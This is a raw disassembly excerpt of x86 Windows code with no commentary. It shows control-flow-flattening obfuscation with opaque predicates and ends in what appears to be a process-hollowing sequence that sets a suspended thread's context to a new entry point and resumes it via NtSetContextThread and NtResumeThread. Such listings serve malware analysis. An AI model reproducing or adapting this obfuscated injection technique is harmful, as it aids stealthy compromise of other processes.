or dl, al
mov eax, 0x48532110
mov ecx, 0x51f36acd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0xdd91a326
jmp 0x10006909
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x148], 0xfcc96f2f
jmp 0x10006909
mov ecx, dword [0x100cea98]
mov eax, dword [0x100cea94]
mov edx, ecx
sub edx, 0x671a6ed5
sub edx, 1
add edx, 0x671a6ed5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa1d15465
mov ecx, 0x34be10e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10006fd0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x148], 0xd6d6bb3b
jmp 0x10006909
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x148], 0x227b1ea
jmp 0x10006909
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x148], 0xe9401273
jmp 0x10006909
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x148], 0xc9a89a52
jmp 0x10006909
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, 0x7cebb053
add ecx, eax
sub ecx, 0x7cebb053
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x148], 0x1b3667a7
jmp 0x10006909
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x148], 0x34be10e2
jmp 0x1000381f